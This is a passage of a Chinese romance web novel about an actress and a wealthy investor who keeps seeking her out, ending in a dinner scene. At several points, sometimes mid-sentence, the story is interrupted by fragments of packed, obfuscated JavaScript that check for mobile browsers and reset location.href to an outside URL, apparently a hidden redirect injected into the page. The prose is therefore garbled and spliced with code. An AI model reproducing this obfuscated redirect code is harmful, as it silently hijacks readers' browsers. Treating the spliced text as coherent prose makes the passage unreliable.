l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602882|172047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙世文也终于匆匆赶上来：“林莺，等一下，我有话跟你说。” 已经进了大厅的林莺脚步顿住，转身：“有事微信说吧，我真的要上去了。” “林莺...”孙世文喘着粗气，试图留下林莺。 没等他再次开口，身后却传来一道熟悉的声音：“没听到林莺说她要上楼吗，孙先生如此不识抬举？” 林莺回头，看向孙世文后面的人，惊讶几秒，旋即眉心紧紧蹙起。 她一向敏锐，总觉得裴予川和她相遇的时机也太多了... “裴总？”孙世文也转身，他只是个小演员，得罪不起这样的人物，就算有话现在也说不出了，他看了看林莺，“抱歉，今天是我打扰了。” 说完，便出了大厅，离开了林莺所在的酒店。 裴予川注视着离开的男人，眼眸微微颤了下，随后抬脚上前，也进了酒店大厅。 “裴总，刚刚谢谢你。”林莺点头致意，“没事的话我先上去了。” 裴予川：“嗯。” 林莺欠了欠身，转身走向电梯，身后却响起皮鞋和地板的撞击声，林莺低头看了眼自己的鞋子，她穿的休闲鞋，没声儿啊。 电梯门开启，里面是一大面镜子，林莺终于看到，身后的人是裴予川。 “裴总，您也住这？”林莺面色有点尴尬，她拦住电梯门，先邀请裴予川进去。 裴予川颔首：“嗯。” “哦哦，您先进。”林莺笑了下。 裴予川没动，抬手帮林莺拦住电梯门，随后抬了抬下巴，示意林莺先进去：“女士优先。” 林莺抿唇，点点头：“谢谢。” 看女孩一本正经的样子，裴予川在林莺背身进去时隐约闻到来自她身上的淡淡栀子花香气，他勾了下唇，旋即跟着进了电梯。 林莺刷卡，她的房间在十楼，裴予川也拿出房卡，22层顶层。 电梯内只有他们两个人，很快便到了十楼，林莺看了眼身侧的人：“裴总，我先下去了，今天谢谢您。” 裴予川凝思两秒，踱步上前，抬手覆在电梯门口，这个动作却也拦住了即将出电梯的人。 林莺诧异的抬头，却发现她和裴予川的距离已经超越了正常社交距离，一股淡淡的檀木香裹挟而来，林莺的心忽然加速跳了一秒。 她能察觉到身前男人的实现始终停留在她身上。 裴予川盯着女孩，无声笑了下，林莺被微微惊到出神的模样很乖巧，像只受惊的猫儿，如此近的距离，他甚至能看到林莺右侧眉尾的小痣。 栀子花裹挟着莫名情绪直冲他鼻腔，裴予川抬右手，用指骨蹭了下太阳穴，不过两秒的时间，他却感觉脑海中有什么东西在胀满。 许久，女孩清丽的声音响起。 “裴总...我要出去。” “嗯。”裴予川点头，覆在电梯上骨节分明的左手手指很明显的收紧了下，“林小姐，你的谢谢是从市场批发来的？” 林莺：“什么？” 她一时没反应过来。 男人看她愣住，不动声色地移开了手，眼眸亮了瞬：“没什么。” 林莺得到空隙，终于从电梯里出去，她站在门口，看向门内的人，抬手做了个再见的动作。 电梯门关上，裴予川的眼眸暗下来，电梯内还残留着林莺身上的栀子香。 男人抿唇无声笑了笑，看着电梯上升。 回到房间的林莺，还没从和裴予川的互动中回过神来，她来到洗手间洗手，随后才来到客厅。 “莺莺姐你回来啦？”小楠喊她。 林莺点头：“我先回房间了，明天你喊我哦。” “好的，莺莺姐。” 回到卧室，林莺又去洗了遍手，这是她紧张或者焦虑时候的习惯。 放在桌上的手机忽然响了，林莺拿过看，是裴予川发来的消息：[转载文章：为什么有人总喜欢把谢谢挂在嘴边？] 林莺眯了眯眼，看不懂裴予川发的这条链接什么意思，于是点了进去。 内容不过是一篇关于心理学的解读，像是无良营销号编排的，林莺微微撇嘴，感觉裴予川和新闻采访里的他越来越不像了。 林莺思考了片刻，开始回复裴予川：[裴总，谢谢您的关心，我没有心理问题。] 很快，对面的人回了信：[...] 裴总：[没问题就好，林小姐下次不要给我说谢谢了。] 林莺：“......” 该说还是要说的，凭什么听你的。 林莺：[好的，裴总（微笑）] 7. 第 7 章 本期通告还有最后两天的拍摄，翌日清晨六点，林莺便出发去了剧组。 车子在剧组临时化妆间前停下，林莺从车上下来，没有来探班的粉丝，也没有躲在山上偷拍的狗仔。 然而隔壁化妆间门口却热闹非凡，进门前，林莺朝热闹的方向看了眼，是齐絮，和她一样都是信威娱乐的艺人。 只是齐絮在三年前她刚进圈时就已大火，三部出圈作品，手握不少时尚资源。 此刻粉丝们的声音呼声如潮，齐絮收着来自粉丝们的信，笑意晏晏且自信地冲粉丝招手。 “莺莺姐，咱们进去吧？”小楠也看到了齐絮那边的动静，她出声提醒林莺。 林莺收回视线：“好。” 上了妆，换了衣服，林莺便又成了戏中人，候场间隙，林莺又打开了微信，找到剧组群，里面消息上千，她一条一条的划着，想看看有没有适合她的角色。 划了十分钟，还真让她找到一个特邀演员的角色，是一部现代偶像剧，特邀的角色是一名小学老师。 林莺没再犹豫，加上负责人，把自己的简历发了过去。 负责人说会看，林莺道了谢，退出了聊天框。 纤细手指不经意间划到屏幕，昨晚和裴予川的对话框被翻了上来，林莺看着最后裴予川给她发的晚安，怔愣了几秒。 六月的云城，温度很舒适，暖风拂过，林莺感觉自己像是落入一朵毛茸茸的花朵中。 她点开了和裴予川的对话，他们才加上微信不过一周，但聊天频率却不低，从上至下，林莺也能看出来她和裴予川的对话越来越熟稔。 只是，林莺还是在惶恐，总觉得裴予川似乎是带有目的性的接近她，她不觉得自己是自恋，因为直觉就是这样告诉她的。 正欲退出去，林莺却被递给她热水的小楠吓了一跳，手抖了几下。 “莺莺姐，今天有点降温，热水里给你加了姜糖。”小楠将保温杯放在桌上。 林莺笑：“好，小楠好贴心。” “这是我作为可爱小助理应该做的。”小楠在林莺身后坐下。 喝了几口姜糖水，林莺的手机忽然震动两下，她低头看向屏幕，居然是裴予川给她发来的信息。 林莺略感惊讶，解锁手机点了进去。 裴总：[？] 只有一个问号，林莺不解，往上看才发现不对劲。 “我拍了拍裴总。” “我拍了拍裴总。” “我拍了拍裴总。” 一连串的提示，让林莺瞬间明白过来，好像是她刚刚看两人聊天记录时不小心点到了裴予川的头像。 林莺：“......” 手指搓了搓手机锋利的边缘，林莺点开键盘回复：[抱歉裴总，刚刚不小心蹭到的。] 很快，裴予川回了信息。 裴总：[嗯。] 虽然是很平常的回复，但林莺却总觉得裴予川的回答中掺杂着怀疑，她不敢再看，连忙退出微信，反正她已经道歉，裴总应该不会那么小气。 然而手机刚刚锁屏，便再次震动了下。 林莺解锁，是裴予川再次发来了消息。 裴总：[不小心？] 裴总：[林小姐的意思是你不小心碰到了微信，恰好还点开了和我的对话框，精准地蹭了三次我的微信头像？] 果然，林莺看完裴予川的信息，咬了下嘴唇，裴予川的确不信她的说辞。 手机边缘尖锐的触感压得林莺的指节泛了白，她看着裴予川的信息，思考该怎么回复。 正欲点开键盘回复，外面却传来导演的声音：“下一场准备，杨曼声、还有吴梦的演员呢，过来讲下戏。” 杨蔓声是林莺饰演的角色，她连忙起身，顾不得裴予川的信息，将手机锁屏后交给了小楠。 林莺进入工作状态很快，导演的话更重要，讲完戏，很快便开始了拍摄。 这场戏她的戏份比较重，而且有一场哭戏，林莺专业素质不错，哭戏能三秒落泪，根本用不着眼药水。 因此这场戏拍得还算顺利，很多镜头都是一次过。 一场戏拍完已经是两个小时后，林莺鞠躬感谢各位剧组老师，旋即跟着小楠准备回休息室。 休息室在剧组驻扎的五百米外，她咖位低，没有独立的房车，能在剧组蹭到休息室，全靠制片人看她演技好的面子上给的。 “莺莺姐，我找到一家据说特别好吃的沙拉外卖，已经给你点好了，就在休息室。”小楠兴奋地讲着她是如何发现的这家沙拉店，林莺听得津津有味。 只是她刚刚在戏中哭过，现在眼睛还有点肿，眼角也泛着红，林莺一笑，眼下的眼带愈加明显。 小楠抬头，正好撞上林莺哭肿的双眼，她惊讶：“哎呀，莺莺姐，你的眼睛怎么比刚才更肿了？我去给你买个冰袋。” “不用，待会回去休息休息就好了。”林莺不在意。 拐过一个弯道，马上就要到休息室，狭窄的巷子里却出现一位不速之客，小楠被吓了一跳，林莺也闻声抬头。 巷口站着的男人高大挺拔气质斐然，不是裴予川又是谁？ 她哑然，张了张嘴，后知后觉到自己还没有回复裴总的消息。 此刻，男人就在她面前，身后跟着助理，林莺认识，是那晚雨夜替裴予川下车，递给她伞和外套的年轻男士。 小楠扯了扯林莺的袖子：“莺莺姐，是裴氏的裴总。” “嗯，我知道。”林莺点头。 对面的人看到林莺，轻声笑了下，旋即上前，来到早早停下的林莺面前。 他微微垂眸，看到了林莺猩红的眼角和浮肿的眼袋，眉心紧紧蹙了下，又想到林莺未回复自己的消息，裴予川心脏恍惚间颤了下。 是他的问题过于尖锐，把林莺吓哭了？ “裴总您好。”林莺低头，冲裴予川问好，小楠也跟着林莺一起问好。 裴予川不轻不重地“嗯”了声，算是回应两人。 身后的吴其看出老板和林小姐有话要说，于是将视线转向林莺身后的助理，他先一步上前：“你好，可以带我去一下便利店嘛？” 小楠惊讶：“啊？我...可以是可以，但是...” 她偏头看向林莺，她不太放心让林莺自己回去，毕竟林莺身体弱，偶尔会低血糖晕倒，刚刚又拍了哭戏，而且放任莺莺姐和裴总单独在一起，不太方便吧... 裴予川看出了小楠的意思，轻声笑了下：“放心，我和林小姐只是有点私事要聊，不会对她怎样。” 小楠又看了看林莺，林莺给她一个放心的眼神，小楠终于跟着吴其离开了巷子。 小巷里只剩两人，林莺有点局促，她搓了搓手，手心又出汗了。 男人沉稳的嗓音忽然出声：“林小姐是刚哭过？” “嗯。” 林莺点头，想解释是哭戏，男人却继续追问。 “是我的信息让你有压力？” 林莺愣住，不太明白裴予川的意思，反应了几秒，她才明白裴予川说的信息是什么东西，她低头快速看了眼手机，下意识摇头。 “没有，不是。” 裴予川皱了下眉，旋即单手抄进西装口袋，以一种不太自然的状态盯着林莺：“真的没有？” 林莺点头：“没有，刚有场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602883|172047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭戏。” “原来如此。”裴予川似是放心地松了口气，“累不累？” “不累。”林莺不自觉的回答，说完却又觉得他们的对话似乎有点过于自然，她看了看巷口，“裴总，我先回休息室了。” 男人没动，注视着林莺的眼睛和眉尾的小痣，几秒后，他让开路：“好。” 经过裴予川时，林莺闻到了他身上的檀木香，她垂眸冲裴予川笑笑，没敢对视，走过巷子，林莺却发现周围有一种比雨滴声还要大的鼓点声。 可今天云城无雨，哪来的震动鼓点声？ 林莺回了休息室，没过两分钟，小楠也回来了，她手上提着一个保温袋。 “莺莺姐，你回来这么快？”小楠惊讶，“裴总怎么会在这？他跟你说什么了呀？” 林莺坐在化妆镜前，看到了演员群负责人的回信，负责人告诉她资料没通过，原因是她长相过于漂亮，不符合导演对小学老师的形象要求。 说不失望是假的，好歹特邀的片酬也不算低。 收拾好心情，林莺回神：“裴总在这应该是有投资的剧吧，没说什么。” 小楠点头：“这样啊，莺莺姐你什么时候和裴总认识的，感觉你们好像很熟的样子？” 林莺：“......” 不熟，一点也不熟。 她清了清嗓：“没有，上次参加裴氏资本首部电影晚会，和裴总聊了几句，就认识了。” “嗷嗷，我说呢，裴总怎么让吴助理给你买冰块，裴总真细心，注意到你眼睛肿了，特意让吴助理买了让我给你带回来的。”小楠说着，将保温袋里的冰块拿出来。 “裴总让你带回来的？”林莺看着桌上的冰块，更加诧异了，她张了张嘴，忽然有点语无伦次。 小楠点头：“是啊，吴助理特意嘱咐的。” 林莺这下彻底不知道该说什么，她看不懂裴予川究竟想干什么。 她查过裴予川的资料，今年二十八岁，未婚，没有绯闻女友，但据说家里人一直在催婚，可裴予川却从来没有和哪位女生传出过相亲的消息。 林莺自负美貌，可从不觉得她会那么幸运，被裴氏资本的老板看上。 小楠将冰块在眼底敷上，林莺被冷得打了个寒战。 她接过小楠手里的冰袋，自己敷着，慢慢适应了冰凉的触感，林莺觉得自己火辣辣的眼睛舒服不少。 只是林莺心里却闪过一百种心思，试图找到裴予川总是帮助她的原因，可兜兜转转思考一圈下来，林莺脑子里依旧空白。 冰敷十分钟，林莺放下冰袋，拿出手机，给裴予川发感谢消息。 林莺：[谢谢裴总的冰袋。] 林莺：[上面的确是不小心，以后我会注意，打扰裴总了。] 她不想再和裴予川有什么联系，林莺尽量用客气的语气回复着。 很快，裴予川的消息回了过来。 裴总：[截图jpg.] 裴总：[林小姐不是答应我以后不说谢谢了？] 林莺点开截图，内容是昨晚裴予川让她不要说谢谢，她回答了好的。 手边的冰袋还在散发着冷气，林莺的手冰凉，她叹了口气，恍惚间后知后觉出来什么，难道裴予川的意思是让她用别的方式感谢？ 下秒，裴予川再次发来第三条信息。 裴总：[如果想感谢，不如请我吃个饭？] 被她猜中了，林莺抿唇，她不想和裴予川再有过多接触，可帮助她这么多次，她是要好好感谢裴予川。 无奈，林莺答应下来：[可以，今晚我没有通告。] 裴总：[好，晚上见。] 8. 第 8 章 下午的戏份有两场，都是比较简单的戏份，因此不到五点，林莺的戏份便拍完了。 收工后，林莺和小楠一起回了酒店。 回房间第一件事，林莺便去了洗手间，冰凉的水浇在手上，她才能感觉自己常年隐隐焦躁的内心被抚平不少。 擦干水出来，小楠拿着手机：“莺莺姐，晚上你想吃点什么？明天还有一场戏你就能休息了，吃点好吃的吧？” 林莺笑：“是不是你想吃好吃的了？” 小楠不好意思地吐了吐舌头：“莺莺姐你是不是有透视眼？” “没有。”林莺耸肩，眉眼弯弯，一向忧郁的脸上少见地出现少女的神情，她今年也不过才二十三岁。 小楠被林莺笑起来的明媚模样恍了眼，旋即回神：“那你怎么知道我想吃好吃的了，莺莺姐你猜我想吃什么？” 林莺垂眸思考几秒，试探道：“炸鸡？” 小楠这下更佩服了，她拍了拍大腿：“莺莺姐你真是神了！” 一边的林莺看着小楠的反应，嘴角挂着浅笑，小楠从上个月就嚷嚷着减肥，跟着她吃了半个月沙拉了，看样子也快吃腻了，平时小楠最喜欢的食物就是炸鸡。 其实小楠也不胖，一米六的个子只有九十几斤，算是正常身材。 “小楠，今晚我不在酒店吃饭了。”林莺斟酌什么，提醒小楠。 “啊？”身旁的女孩惊讶出声，随后看向林莺：“那你去哪吃啊，今天剧组又有聚餐吗？” “没有。”林莺摇头，犹豫片刻，边搓衣服边缘边说，“是裴总，最近他帮了我很多，今晚我请他吃饭。” 此话一出，小楠的眼睛都亮了，她像是嗅到了八卦的气息，笑着说：“莺莺姐，我怎么看着你和裴总熟得很啊？你们...” 林莺眉心蹙了下，语调和缓：“不是你想的那样，裴总是什么人物，会对我这样的十八线小演员有兴趣？” “怎么不能呀，莺莺姐你人美心善，这就是你的魅力所在，别说，你和裴总的外形还真般配。”小楠语气夸张，但说的却是真情实感的话。 “别胡说了啊，记得给我保密，我不想和裴总吃饭还惹出麻烦。”林莺嘱咐小楠。 “好的，没问题。” 她和裴予川约定的时间是七点，地点在影视城附近的一家西餐厅，林莺看着时间差不多了，准备回房间换衣服。 小楠看着林莺回了主卧，她赶紧点完外卖，跟在林莺屁股后面进去。 林莺惊讶：“你怎么过来了？想干什么？” 女孩清冷的眉眼微微上扬，试图揭穿小楠的目的。 “嘿嘿嘿，不干什么呀，想看看莺莺姐准备穿什么衣服去和千亿总裁吃饭？”小楠吐了吐舌头，来到林莺的衣柜前。 林莺抱臂站在床边，忍笑看着小楠：“我打算穿卫衣牛仔裤。” “啊？”小楠一脸失落，“不行，不可以！” “莺莺姐，我来帮你挑选。” 林莺无奈笑笑，摇了摇头，任由小楠在她衣柜里翻箱倒柜，这次她来云城没带多少常服，衣柜里的衣服还是之前进组的时候带的，不过也大都是宽松舒适的款式。 “怎么都是卫衣牛仔裤？”小楠边找边喃喃自语。 一侧的林莺笑出声，眉眼柔和，她踱步来到衣柜前：“我就穿卫衣好了，你不是要点外卖？” “你等等，莺莺姐，我去我房间一趟。” 小楠说完，一溜烟去了次卧，很快又回来，手里拿着一条浅米色蚕丝连衣裙。 “诺，莺莺姐，你穿这套，这是我新买的连衣裙，我试了尺码有点大，你比我高你穿应该正好。”小楠将还带着吊牌的连衣裙放入林莺手里。 她刚要拒绝，小楠却笑眯眯给她竖了个大拇指，退出主卧。 林莺看了看手里的连衣裙叹了口气。 五分钟后，主卧门再次打开，小楠的炸鸡已经到了，她吃着炸鸡转头，看向林莺，眼睛慢慢睁大。 林莺身材纤细高挑，但该有肉的地方一点不含糊，这件连衣裙将她的腰身掐得很好，裙摆到小腿中部，露出性感的脚踝，V领领口加上垂在身后的黑色长发又增加了几分优雅。 “就这身！”小楠看着林莺的好身材，默默放下了鸡腿，“去吧，莺莺姐！” 林莺不太自在，平时不拍戏的时候她都是怎么舒服怎么穿，她捏了捏裙角：“怎么感觉我是要去相亲？” 小楠不说话，重新将鸡腿塞进嘴里。 林莺去卫生间洗了把手，便拿上包出了门。 穿裙子不方便骑车，她打车前往餐厅，到了后报预定的名字，侍应生引领林莺过去。 订的餐位在大堂角落，林莺觉得这样既有隐私性又不至于太过于沉闷，远远地，她便看到已经到了的裴予川。 男人背对林莺，似乎正在打电话，侍应生离开了，林莺站在原地却没有上前。 可裴予川和电话里的对话却清晰入耳。 “我不会去相亲的。” “妈，我说了我要自己选结婚对象，这事您不用再催。” “嗯，要吃饭了。” 原来千亿身家的总裁也会被家里催婚？ 林莺微微撇了下嘴，一时不知道该不该过去，她不是有意听到裴予川隐私的。 正在犹豫时，挂了电话的男人似乎察觉到什么，转头看了过来。 裴予川看到一身浅色长裙的林莺站在不远处，她头顶是一束淡蓝色的冷光，衬得女孩面容更加清冷，宛若一朵开在黑夜的白色栀子花。 他的瞳孔忽然慢慢放大，心脏像是被植入了什么，正在破土而出。 回忆被拉到两年前他初次遇到林莺的那晚，裴予川的心脏正在加速跳动，一时忘了回神。 直到女孩走上前：“裴总。” 裴予川起身，眼神恢复正常，他抬手指了指对面的位置：“坐吧。” 林莺点头，在软椅上坐下。 桌上放置着装饰性鲜花，有香槟色郁金香和粉玫瑰，闻起来带有淡淡的香味，林莺看花看得出了神。 裴予川察觉到女孩在看桌上的鲜花，唇角扬了扬：“喜欢郁金香？” 闻声，林莺抬头看向对面的人，没想到两人会是这样的开场，她摇摇头：“还好。” 裴予川点头，慢条斯理地打开菜单，递给林莺：“想吃什么，看看？” 林莺接过菜单，又想起今天是她请裴予川吃感谢饭：“裴总点吧，是我请您。” 女孩眉眼清冷，不含笑意，交谈的动作和表情都带着淡淡的疏离，仿佛和谁都要保持距离，裴予川不置可否，接过菜单。 “有忌口吗？”他问。 林莺再次摇头：“没有，我要保持体重，也吃不了多少。” 裴予川将眼神从菜单转移至林莺身上，眼前的人已经很瘦了，还要怎么保持体重？他眉心拧了下，旋即叫来侍应生，点了两份牛排和沙拉。 侍应生离开，安静角落里只剩下两人。 “怎么没选包厢？”裴予川淡然的眼睛环视了一下周围。 林莺愣了下：“没关系，我不出名，没有狗仔或者代拍会拍我的。” 裴予川调整了下姿势，声音低沉和缓，略带笑意：“巧了，在云城也没人认识我。” 似是没想到裴予川会开玩笑，林莺先是呆滞了两秒，随后才缓和了眉眼：“嗯，那就好。” 看女孩淡笑的模样，裴予川的眼睛亮了下，他接触林莺几天，少见她笑。 餐桌上再次安静下来，林莺不想和裴予川再有过多接触，因此现在她不敢轻易提出话题聊天，只是这么僵着也不是事。 “裴总刚刚是在和家里...” “你今天很漂亮。” 两人同时脱口而出，林莺的话没说完，她也没听清楚裴予川的话，两人又都噤了声。 裴予川轻笑：“你先。” “啊，没 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闲聊片刻，侍应生来上了菜。 林莺只吃了沙拉，牛排一整块一点没动，裴予川看了眼林莺的餐盘，眉心微拧，他低头看了眼自己盘里未动的牛排，拿起刀叉分块切好。 切好后他将餐盘放到了林莺面前：“吃这份。” 林莺抬头，看向男人，目光流露出不解。 裴予川拿过林莺没动的那份，不轻不重地开口：“还是要多吃点。” 看着餐盘里切好的牛排，林莺抬眸，在裴予川脸上凝滞两秒。 她对裴予川越来越看不懂了，面对自己，裴予川温柔绅士，细心地观察到她哭肿的眼睛，帮她切好牛排，事无巨细。 林莺看着餐盘，最终还是拿起叉子吃了块，口感不错，她衷心夸赞：“好嫩。” 裴予川笑了笑：“那多吃点，牛肉对控制体重很有效果。” “好。”林莺下意识应了声。 这顿饭吃了一个小时，裴予川吃饭的时候很少说话，林莺也不说话，两人认真吃饭，氛围还算和谐。 只是，吃饭间隙，林莺悄悄观察过两次裴予川。 男人不仅英俊绅士，举手投足更是矜贵十足，像他这样的男人，怎么还会用相亲来解决自己的婚事？ 结束时，林莺第三次看向裴予川，不曾想这次却正好和男人对视，她尴尬一笑，转移了视线。 “看我做什么？”裴予川笑。 林莺摇摇头：“没有，只是好奇，裴总您这样的身份不都是有联姻对象的吗，怎么会要相亲？” “林小姐，你是不是小说电视剧看多了？”裴予川听她的话，再次笑出声，“我们家没这样的规矩。” 好像有点尴尬，林莺摸了摸鼻子，想要转移话题：“这样啊，我先去结账，裴总。” “不用，我结过了。”裴予川出声阻止林莺。 “说好的我请您。”林莺有点难为情。 裴予川：“你陪我吃饭就当请我了。” 见男人没有要走的意思，林莺只好再次坐回座位，她搓了下裙摆：“裴总破费了。” 裴予川凝了林莺的眼睛两秒，语调缓慢：“刚刚听到多少，我和我母亲的通话？” 嗯？ 林莺诧异，她担心，是不是自己听到什么不该听的。 早知道刚刚不说这个话题了。 她紧张起来，看向裴予川：“没听到什么，只听到您说相亲和说要自己选结婚对象。” 裴予川眼眸轻垂：“嗯。” 林莺看不出对面男人的意图，只好看向郁金香，转移注意力，希望裴予川不要责怪她什么。 许久，她听到裴予川低沉而富有磁性的声音响起。 “林小姐，你有考虑过什么时候结婚吗？” 9. 第 9 章 许是工作日的原因，西餐厅里人少，角落里更是寂静无声。 裴予川的话刚刚落在耳边，林莺惊讶抬头，看向对面的男人。 他的声音低沉正经，这让林莺一时分辨不出来裴予川是在闲聊还是真的在问她的婚姻规划，林莺垂在腿上的手指互相交叠，略微湿润。 林莺：“我还小，暂时还没考虑过这个问题。” “嗯。”裴予川点点头，他的声音不轻不重，似是在思考什么，又或者像在神游。 这让林莺再次搞不懂他的意思，她下意识以为裴予川是在为催婚的事情烦扰，于是淡淡出声安慰：“裴总一表人才，一定可以找到心仪的爱人。” 女孩脸上带着试探且稚嫩的真诚，裴予川单手放在桌上，骨节分明的手指一下一下的敲打着桌面。 似有什么在心里扎根得越来越深，即将突破重围，冒出新生芽儿。 裴予川眼角和唇角是克制不住的笑意，他轻声开口：“林小姐说得对，我一定可以找到自己的爱人。” 话音落下，他眸光闪烁，定定地看向林莺。 林莺点头：“嗯。” 她还记得裴予川的资料，除了裴氏资本的商业新闻外，最多的便是裴予川本人的花边新闻。 据她查到的资料，裴予川从国外回国后，就从来没有谈过恋爱，绯闻女友也没有，甚至有营销号写他不喜欢女人。 想到这些，林莺再次看了眼裴予川，无所顾忌地快速打量了他一番，裴总也不像会喜欢男人的人啊？ “看我做什么？”裴予川察觉到女孩的目光。 林莺紧张，抿唇摇头：“没什么。” “林小姐，你心虚的表现有点明显。”裴予川眉眼柔和，起身，“走吧？” “哦。”跟着男人起身，林莺也从餐椅上出来。 裴予川看了眼时间：“顺路，一起回酒店？” “啊？”林莺差点忘了裴予川也住在她所在的酒店，只是，她和裴总一起回酒店，会不会被人误会？ “不方便？”透过餐厅落地窗，裴予川看了眼窗外，“是昨天那位孙先生要来接你？” 林莺连忙否认：“不是，他只是我同事。” “嗯，那走吧？”裴予川放松了一瞬，没等林莺同意，径直出了餐厅，往停车场的方向走去。 本不想坐裴予川的车回酒店，林莺找不到拒绝的机会，但也不想跟过去，来之前，她就决定，吃完这顿饭，回南城把衣服还给裴予川，她就不再和他有交集。 林莺也出了餐厅，只是她没往停车场的方向走，而是直接去往路边，边走边朝裴予川再见：“谢谢裴总的饭，我还是自己走吧。” 听到动静的裴予川回头，看到女孩提着裙子迈着大步去往了路边。 他站在车前，单手抄在西装口袋里，轻笑了声。 无奈，裴予川从停车场出来，来到路边，看林莺怎么回去。 只见林莺从包里拿出手机扫了辆共享单车，解锁后，她低头看了眼到小腿的长裙，然后蹲下身子，将裙摆提高系起来，随后轻巧地上了车，骑去了酒店的方向。 裴予川站在路边，姿态松弛，以欣赏的态度看着女孩越骑越远，他的唇角也越来越高。 林莺到酒店门口的时候，已经将近九点，她骑得快，只用了二十分钟就回来了。 另一方面，她也是怕在路上再遇到裴予川，一刻也不敢停的骑到了终点。 锁好车子后，林莺解开裙摆，进了酒店大厅，只是刚刚按下电梯，镜子里便显示她身后站了个人，是裴予川。 “裴总？”林莺稍稍尴尬，她后退两步，咽了咽口水。 裴予川微微歪头，垂眸看向林莺的额角，随后抬腕看向腕表：“骑得挺快，六公里只用了二十分钟？” “额，我体力好。”林莺笑笑，抬手擦了下额头，因为不敢停，她一直瞪车，额角都出了汗。 其实她体力差得很，平时锻炼不多，偶尔骑个单车已经是她最大的运动项目了。 电梯来了，里面下了两个人，林莺连忙上前按住电梯门：“裴总您先进。” “我说过女士优先。”和昨晚一样，裴予川再次上前替过林莺，按住电梯让她先进。 林莺只好硬着头皮进去，随后看裴予川进来，男人比她高出二十公分，宽肩窄腰，他进来后，林莺只能后退，保持着社交距离，站去电梯角落。 “擦擦？”出神之际，林莺看到裴予川递过来一枚手帕。 她张了张嘴，刚要拒绝，裴予川却抬手覆了上来：“想让我给你擦？” “啊不！”林莺惊声拒绝，连忙接过手帕，终止裴予川即将伸过来的手，“我自己来。” 看林莺像只受惊的小兔子，裴予川轻笑，收回了手。 不用这招，林莺恐怕又要拒绝。 十层到了，林莺连忙下去，看了眼手里的手帕：“这个我回南城后和衣服一起还您。” “好。”裴予川淡淡点头。 电梯门关闭，林莺终于松了口气，转身回了房间。 - 西餐厅那晚后，裴予川和林莺便没再联系。 云城的工作处理完，他回了南城，先处理完裴氏积压的一些工作，随后便去了水畔名居。 梁和煦叫了两人的共同好友宁斌一起打牌，裴予川不爱参与聚会，但还是来了。 “慢语那边不愿意放下这块肥肉，大概是觉得《星星暗语》这个IP比较火，想大赚一笔吧。”梁和煦摸了张牌，分析着许兴盛的意思。 还未到裴予川摸牌，他单手抽了根烟，右手拿过火机点燃，抽了第一口便放到了一边，烟雾缭绕，淡淡的烟草味蔓延开来。 “这是自然。”裴予川不紧不慢地开口。 旁边的朋友宁斌笑着看向裴予川，调侃道：“这个IP出现时间不短了吧，怎么裴哥这才想起来要参与？” 这个也是梁和煦奇怪的地方，他整理着牌面，咧嘴笑着：“是不是予川有心仪的女演员，想让她出演这部剧？” 宁斌惊讶：“裴哥这是要铁树开花？” 裴予川依旧没抽烟，看向两人笑了声：“无关这个，看许兴盛不爽而已。” “啊？”梁和煦这下更震惊了，他琢磨着，也不记得裴氏和许兴盛有什么商业竞争呢？ 裴氏体量庞大，投资的行业也多，慢语只是个小型传媒公司，业务并不交叉，怎么，许兴盛什么时候得罪裴哥了？ 宁斌和梁和煦对视一眼，随后又摇摇头。 “那予川，你打算怎么抢那百分之四十的投资权？”梁和煦跟着打了张牌，心思却依旧在裴予川身上。 宁斌也看出了乐子：“裴哥自有办法，只是那许兴盛怎么也没想到，和煦你和裴哥出老千吧？” 裴予川在外的风评一贯是不喜和人交好，且商业手段狠辣，无人敢和他接近，因此知道裴予川和梁和煦是好友的人并不多。 “肥水不流外人田，他许兴盛算什么，予川不喜欢的人我也不喜欢。”梁和煦笑着说。 裴予川表情冷淡，默默看牌，只是心思却不在。 雨夜宴会那晚，许兴盛试图将手搭在林莺手上，那一幕让人恶心。 同一时刻，另一边，林莺和小楠刚刚下了飞机。 《花落》的通告又赶完了一部分，下次的通告是半个月之后。 王哥来接两人回公寓，路上，小楠想起了那件衣服：“莺莺姐，我们拐去干洗店一趟，店主说衣服洗好了，等我们过去拿呢。” “好。”林莺也记着这件衣服呢。 拐去干洗店用了十分钟，小楠下车拿了衣服，回到车上后将衣服递给林莺：“莺莺姐，你看看洗得怎么样，这衣服是谁的啊？” 林莺接过袋子，从里面将西装外套拿出来，仔细检查了一遍，洗得很干净，衣服也没有褶皱。 “一个朋友的。”林莺不想再多说关于裴予川的事情，毕竟这次还回去衣服后，她和裴予川就没有关系了。 回到公寓，林莺又把裴予川那晚给她的手帕洗干净， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对了，现在裴叔叔身体怎么样？”梁和煦回头看了眼宁斌几人，小声问。 裴予川眼睛眨了下，解开的袖口松散，语调缓慢：“还好。” “哎，要不是两年前那事，裴叔叔也不会这样。”梁和煦惋惜，“证据搜集得怎么样了，能不能澄清？” 裴予川摇头：“最有力的视频几乎找不到，慢慢来吧。” “嗯，行，有需要帮忙的地方，你尽管喊我。”梁和煦撞了下裴予川的胳膊，后者回以他一个点头。 两人又聊了片刻，裴予川才意识到放在旁边的手机震了下。 他拿过打开，紧皱的眉眼终于放松两分，是林莺发来的信息。 林莺：[裴总您好，衣服和手帕已经洗好，什么时候给您送过去呢？] 裴予川看着信息，抬手用指骨碰了下眉心，旋即开口：“现在什么时间了？” “下午三点，怎么，有事？”梁和煦抬头看向裴予川。 对面的人点了下头：“嗯。” 他边说边回复林莺的消息:[今天有时间。] 